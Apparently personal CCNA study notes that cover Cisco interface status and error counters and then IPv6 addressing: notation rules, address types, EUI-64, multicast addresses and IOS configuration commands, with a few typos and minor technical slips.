  • Administratively down – means shutdown command was issued on an interface
  • down – means either: no cable;bad cable;wrong cable pinouts;speed mismatch;neighbor device is off;error disabled by port security

Protocol Status

  • up – Interface is working
  • down – either: shutdown command issued;cable issue;speed mismatch;neigbor is off;
  • down(err-disabled) – port security disabled status

Interface Status

  • disabled – shutdown command was issued
  • notconnect – bad cable;speed mismatch;;no neigbor device;
  • connected – interface is working
  • err-disabled – disabled by port security


a-half – duplex was auto negotiated


-Seen in “show interfaces fa0/0” command

-most of these counters are seen incremented during half duplex networking although late collisions point to a duplex mismatch

  • Input Errors – A total of many counters, including runts, giants, no buffer, CRC, frame, overrun, and ignored counts.
  • Runts – frames that didn’t meet the Frame size requirements of 64 bytes + 18 byte dest MAC,source MAC,and FCS. Can be caused by collisions
  • Giants – Frames that exceed the max frame size of 1518 bytes including the 18 byte dest/src MACs and FCS fields
  • CRC – frames that don’t pass the FCS algorithm, likely cause of collisions or interference
  • frame – frames received that have illegal formats. ie; partial bytes. Likely cause of collisions
  • Packets Output – Total number of Frames that are forwarded out an interface
  • Output Errors – total number of frames that the port tried transmitting but for some reason had an issue
  • collisions – counter of all the collisions that have occurred when the interface is transmitting a frame
  • late collisions – collisions that happen after the 64th byte has been transmitted. Very likely pointing to duplex mismatch and would increment on the switch using half duplex


-from “show vlan brief” command

act/lshut —-means the vlan is shutdown


IPV6 Addressing

This article is a part of my CCNA course material I use for study that encompasses everything needed to know about IPV6 as a layer 3 protocol to help pass the CCNA v3 exam. It is also a final consolidation of notes on the subject with full video and lab demonstration link provided to help the reader and myself better understand the subject. This will be updated as new information is disseminated.

Why IPV6

IPV6 is the next generation protocol that solves the IPV4 exhaustion problem that is currently being held together by CIDR and NAT as discussed in the article for IPV4. IPV6 like IPV4 has a many similarities but also many new features like new address types that allow for enhanced network communication. For example IPV6 clients can auto generate a Link Local Address to begin talking to each other on the network without admin intervention. With 128bits of address equaling 70383400000000000003.4×1038 (340undecillion) addresses available to ipv6 this is like giving every atom on planet earth its own ip address 3x over. Now to sum up points for knowing everything needed on the CCNA see below.

Who made it

Registration with IANA > RIR(ARIN) > ISP > Your company ——must be made before using an ipv6 routable address/subnet. It will otherwise be dropped at some point in the routing process likely by the ISP or higher authority.


  • 128 bits >32 hexadecimal digits > 8 sets of 4 hex digits(quartet) > 4 bits per digit >16 bits per set

ie; 11aa.22bb.33cc.44dd.55ee.66ff.7777.8888

Rules for ease of use:

  1. Abbreviate Leading 0s NOT trailing 0s i.e.; FE00:0000:0000:0001:0000:0000:0000:0056 = FE00:0:0:1:0:0:0:56
  2. Abbreviate consecutive quartets of 0s with double colons but only once ie; FE00:0:0:1::56

Review of Hex Numbering

Hex Binary Hex Binary

0     0000     8 1000

1    0001    9 1001

2     0010    A(10) 1010

3    0011     B (11)1011

4     0100    C (12)1100

5 0101     D (13)1101

6    0110     E (14)1110

7 0111     F (15)1111

IPV6 Header:

4    Bytes:

  • version
  • class
  • flow label
  • payload length
  • next header
  • hop limit

32 bytes

  • source address – 16 bytes
  • destination address – 16 bytes

How it Works on Cisco Routers

When enabled on the router and on an interface (see below for commands):

  • enables routing of IPV6 packets
  • defines ipv6 prefix that will be used on that interface;
  • adds a connected route to the routing table when the interface is up/up

-Interfaces can have ipv6 link local and global addresses configured and in use on their interfaces with a special ipv6 enable command in the interface subcommand mode. They don’t need ipv6 enabled on the router necessarily

Dual Stack: Terminology used when routers run both ipv4 and ipv6 routing and use a separate Routing table for each

Address Types

Global Routing Prefix:

Closest thing similar to IPv4s classful networks but in this case the company is locked down to using the network mask assigned by the IPV6 authorities so there really is no classes the address block that can be assigned to a company for which can also be addressed to when reaching that company. The prefix should allow the company to basically assign as many addresses as needed and so provides for that many

ie; Host: 2001:0DB8:1111:0001:0000:0000:0000:0001/64——-this allows for 2^64 =18446744073709551616 hosts

prefix length: 2001:0DB8:1111/48-first 12 hex digits

Prefix ID: 2001:DB8:1111:1::/64-keep in mind that 16 bits are used to represent the subnet id allowing for 2^16=65536 subnets

next prefix id: 2001:DB8:1111:2::—–this will go on until the 4 hex digits all reach the max allowed 16 bits using the hex digit 15

final prefix id: 2001:DB8:1111:FFFF–

Prefix ID:(same as subnet ID)

ie; /64 is the first 16 hex characters of the 128 bit/32hex address

ie; 2000:1234:5678:9ABC::/64 is the Prefix ID of 2000:1234:5678:9ABC:1234:5678:9ABC:1111/64

Global Unicast Address:

  • Originally began with 2 or 3.
  • Any unicast addresses not specifically reserved are considered global unicast.
  • registered addresses with IANA that allow an organization to assign all their hosts public addresses
  • EUI 64: Extended unique identifier: is a method to generate a unique interface ID after custom making the prefix
  • -Inserts FFFE hex digits directly between the 12 hex MAC address of the interface to help make a unique 64 bit/16 hex address
  • -Finally the 7th bit in the new interface ID(in second hex digit) is inverted(if its 1 make 0 if its 0 make 1). Reading left to right keep in mind
  • -For serial interfaces without MAC addresses the router will use the MAC of the lowest numbered interface with a MAC

Unique Local Unicast Address:

  • Begin with FD 8bits > next 48 bits(10 hex) needs to be the global prefix(can randomly make this) > next 16 bits is the subnet field to be used >finally 64 bits for the hosts
  • RFC4193 requests that use of 8th bit should be 1 and so originally FC00::/7 is what IANA reserve
  • Assign a Global ID and Prefix ID(in this case everything is in control of the engineer except for the first 8bits which need to be FD)
  • Not registered and can be used any agency
  • like ipv4 private addresses don’t need registration

Link Local:

  • Begin with FE8;FE9;FEA;or;FEB
  • -First 10 bits need to match FE80::/10
  • -Next 54 bits need to be Binary 0s ie; FE80:0000:0000:0000/64
  • -Next 64 bits can use EUI-64 method to autogenerate; OR can be manually entered OR can use Microsofts Algorithym
  • Used for overhead protocols and for routing ie;NDP uses this type of address
  • Unicast address
  • Not forwarded by routers therefore only stays in the subnet locally
  • Also used as a next hop address by routers in the same subnet and as the default gateway for hosts
  • Automatically generated using EUI-64 when an interface is configured with any other ipv6 unicast address

Site Local Addresses:

  • No longer a part of the IPV6 standard begin with FEC;FED;FEE or FEF

Multicast Adddresses:

Configured when a corresponding protocol is enabled

Begin with:

  • FF02::1—-used to addres all ipv6 interfaces on the subnet
  • FF02::2—-used to address all ipv6 router interfaces on the subnet
  • FF02::5—-used to address all OSPFv3 Routers on the subnet
  • FF02::6—-used to address all OSPFv3 DR routers on the subnet
  • FF02::9—-used to address all RIPng Routers on the subnet
  • FF02::A—-used to address all EIGRPv6 routers on the subnet
  • FF02::1:2–used to address all DHCPv6 Relay agent Routers on the subnet

Solicited-Node Multicast Addresses

  • -first 104 bits begin with FF02:0000:0000:0000:0000:0001:FF also written as FF02::1:FF
    • last 6 hex digits/24 bits of the ipv6 unicast address assigned to a host is filled into the last 24 bits of the address
  • ie; 2000:B71A:8560:AB73:816A:BE81:AB71:FF01 solicited node = FF02::1:FF71:FF01
  • -Link Local
  • -Some nodes might have the same adddress and overlap on this address
  • -All hosts listen for packets sent to this address
  • -Used for the reason of addressing overlapped hosts using the same solicited node address

Anycast Addresses

  • Begin With: These addresses can be any unicast address; Must use a host mask of /128 and are specified as anycast aaddresses in the ios
  • Provide a service that may be spread among different routers/devices but is used to contact the nearest device when the service is called upon by a host

Subnet Router Any Cast Addresses:

  • Used by routers to send packets to any other router on the subnet
  • contains same prefix and all binary 0s for the interface ID

Unknown/unspecified Address:

  • :: or all 0s
  • Used as the source ip address when a host doesn’t know its address ie; in the case of using dhcp

Loopback address:

  • ::1 or 127
  • used to test the ipv6 stack

IOS Commands

  • ipv6 unicast-routing———–In Global configuration Mode; enables ipv6 packet forwarding routing —–ACTUALLY ENABLES IPV6 ROUTING without this command the router will still act as an ipv6 host for its interfaces but won’t route ipv6 packets
  • int <type> <#/#>————choose interface to configure and enter commands below from interface subcommand mode
    • ipv6 enable ———this will simply enable ipv6 on the interface and generate its link local address. Good for simple WAN link connections since they only need to use link local address to route packets across their network
    • ipv6 address 2001:0db8:1111:0002:0000:0000:0000:0001/64——-example Ipv6 address completely written out
    • ipv6 address 2001:0:1:1::1/64—————example of an ipv6 assigned address(DONT forget the double colon syntax at the end of every address;;;Also feel free to remove leading 0s). This will also automatically assign a link local address
    • ipv6 address 2001:DB8:1111:1::/64 eui-64——example of using the eui method which takes the MAC and insert FFFE in the middle and inverts 7th bit to create the 64 bit host ID
    • ipv6 address <address> link-local ——manually assigning the link local address

Video(coming soon)